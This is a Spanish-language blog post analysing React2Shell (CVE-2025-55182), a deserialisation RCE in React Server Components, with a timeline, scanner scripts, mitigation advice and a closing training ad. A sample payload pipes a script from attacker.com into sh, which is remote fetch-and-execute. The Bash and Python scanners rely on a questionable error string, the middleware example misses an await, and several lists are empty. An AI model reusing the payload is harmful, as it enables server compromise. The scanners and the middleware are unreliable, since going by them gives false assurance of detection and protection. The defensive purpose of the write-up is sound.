
Por Lachlan Davidson
Última actualización: 4 de diciembre de 2025
En los últimos años, la adopción de React y sus frameworks asociados se ha disparado, impulsando desde pequeños proyectos web hasta aplicaciones empresariales de gran escala. Con este aumento de popularidad llega la preocupación por las vulnerabilidades, especialmente las que afectan a componentes críticos del ecosistema.
El 29 de noviembre de 2025, yo, Lachlan Davidson, informé de forma responsable una vulnerabilidad devastadora—React2Shell (CVE-2025-55182)—al equipo de Meta. Este fallo, que afecta a implementaciones de React en el lado del servidor, particularmente a través del protocolo “Flight” de React Server Components (RSC), fue parcheado por los equipos de React y Vercel el 3 de diciembre de 2025. Esta entrada de blog ofrece un análisis en profundidad de la vulnerabilidad, desde sus matices técnicos hasta su explotación en el mundo real, y cubre además las mejores prácticas para su detección y mitigación.
En este artículo cubriremos:
Tanto si eres un profesional de seguridad, un desarrollador que busca entender los riesgos, o un entusiasta de las tecnologías web modernas, esta guía te llevará desde conceptos básicos hasta técnicas avanzadas de explotación y defensas proactivas.
La cronología es clave para entender la gestión de riesgos y la rápida respuesta ante este incidente:
Se asignó un CVE adicional, CVE-2025-66478, para Next.js debido a la inclusión “vendorizada” de React, a pesar de ser técnicamente un duplicado de CVE-2025-55182. Esta decisión ayuda a que proveedores y equipos de seguridad sigan mejor las dependencias que los escáneres tradicionales podrían pasar por alto.
React2Shell es una vulnerabilidad crítica (CVE-2025-55182) en el entorno de React Server Components (RSC), que afecta específicamente al protocolo “Flight”. Permite la ejecución remota de código (RCE) no autenticada en el servidor debido a prácticas de deserialización insegura en el paquete react-server.
Atributos clave:
create-next-app) son susceptibles a menos que se refuercen explícitamente.La causa raíz reside en cómo el servidor procesa los payloads de RSC. El proceso de deserialización no valida adecuadamente la estructura de los datos entrantes. Un atacante puede suministrar datos especialmente diseñados que, al deserializarse, provocan la ejecución de código no esperado en el servidor.
Flujo simplificado:
El riesgo es mayor porque la configuración por defecto de muchas aplicaciones carece de la sanitización o restricciones que mitigarían esta amenaza.
Next.js incluye React como dependencia “vendorizada”; los escáneres que sólo revisan el package.json pueden no detectarlo. El CVE-2025-66478 se asignó para garantizar que los usuarios de Next.js sean conscientes del riesgo incrustado.
La deserialización convierte datos serializados (JSON, binario, etc.) en objetos ejecutables. Es insegura cuando:
RSC usa Flight para transferir datos entre servidor y cliente. Su alto rendimiento introdujo, sin querer, un vector de ataque por falta de validación en react-server.
Flujo:
Las abstracciones de Next.js hacen que los desarrolladores asuman que sus aplicaciones son “seguras por defecto”, lo cual esta vulnerabilidad desmiente.
Tras la publicación del PoC se observaron campañas automatizadas:
Un atacante envió una petición HTTP con un payload Flight manipulado:
Datos de Wiz Research:
#!/bin/bash
# Escáner simple para React2Shell (CVE-2025-55182)
TARGET="<url_objetivo>"
PAYLOAD='{"malicious":"payload"}'
echo "Escaneando $TARGET..."
RESPONSE=$(curl -s -X POST -H "Content-Type: application/json" -d "$PAYLOAD" "$TARGET")
if echo "$RESPONSE" | grep -q "Error processing Flight payload"; then
echo "Posible vulnerabilidad detectada en $TARGET"
else
echo "No se detectaron señales claras en $TARGET. Se recomienda análisis adicional."
fi
import requests, json
def scan_target(url):
payload = {"test":"data","action":"simulate_deserialization"}
headers = {"Content-Type":"application/json"}
print(f"Escaneando {url}...")
try:
r = requests.post(url, headers=headers, data=json.dumps(payload), timeout=5)
if "Error processing Flight payload" in r.text:
print(f"[!] Posible vulnerabilidad en {url}")
else:
print(f"[-] Sin indicios inmediatos en {url}")
except requests.RequestException as e:
print(f"[-] Error al escanear {url}: {e}")
for t in ["https://ejemplo.com/api/flight","https://otro.com/api/flight"]:
scan_target(t)
// Pseudocódigo de payload malicioso
const maliciousPayload = {
component: "ShellExec",
args: {
command: "bash -c 'curl -fsSL http://attacker.com/malware.sh | sh'",
},
_meta: { timestamp: Date.now(), nonce: Math.random().toString(36).slice(2) }
};
sendToServer(JSON.stringify(maliciousPayload));
Las funciones como vm#runInThisContext, child_process#exec o fs#writeFile pueden usarse legítimamente. Su mera presencia no confirma vulnerabilidad. React2Shell se aprovecha del manejo automático de funciones del servidor por parte de Next.js; el fallo existe aunque dichas funciones no estén expuestas explícitamente.
Recomendaciones:
react-server-dom* 19.0.1, 19.1.2, 19.2.1).// Middleware de ejemplo en Next.js para sanitizar entradas
import { NextResponse } from 'next/server';
export function middleware(request) {
if (request.nextUrl.pathname.startsWith('/api/flight')) {
try {
const body = request.json();
if (!body || typeof body !== 'object' || !body.component) {
return new NextResponse('Formato de payload inválido', { status: 400 });
}
} catch {
return new NextResponse('Error procesando la solicitud', { status: 400 });
}
}
return NextResponse.next();
}
React2Shell (CVE-2025-55182) demuestra que incluso frameworks consolidados como React y Next.js pueden albergar vulnerabilidades de alta gravedad. Basada en deserialización insegura en el protocolo “Flight” de RSC, esta falla tiene amplias repercusiones por su carácter crítico, facilidad de explotación y prevalencia en configuraciones por defecto.
Puntos clave:
Comprender los detalles técnicos de React2Shell y el panorama de amenazas permite a desarrolladores y profesionales de seguridad reforzar mejor sus aplicaciones ante esta vulnerabilidad crítica.
¡Feliz codificación segura!
Si encontraste este contenido valioso, imagina lo que podrías lograr con nuestro programa de capacitación élite integral de 47 semanas. Únete a más de 1.200 estudiantes que han transformado sus carreras con las técnicas de la Unidad 8200.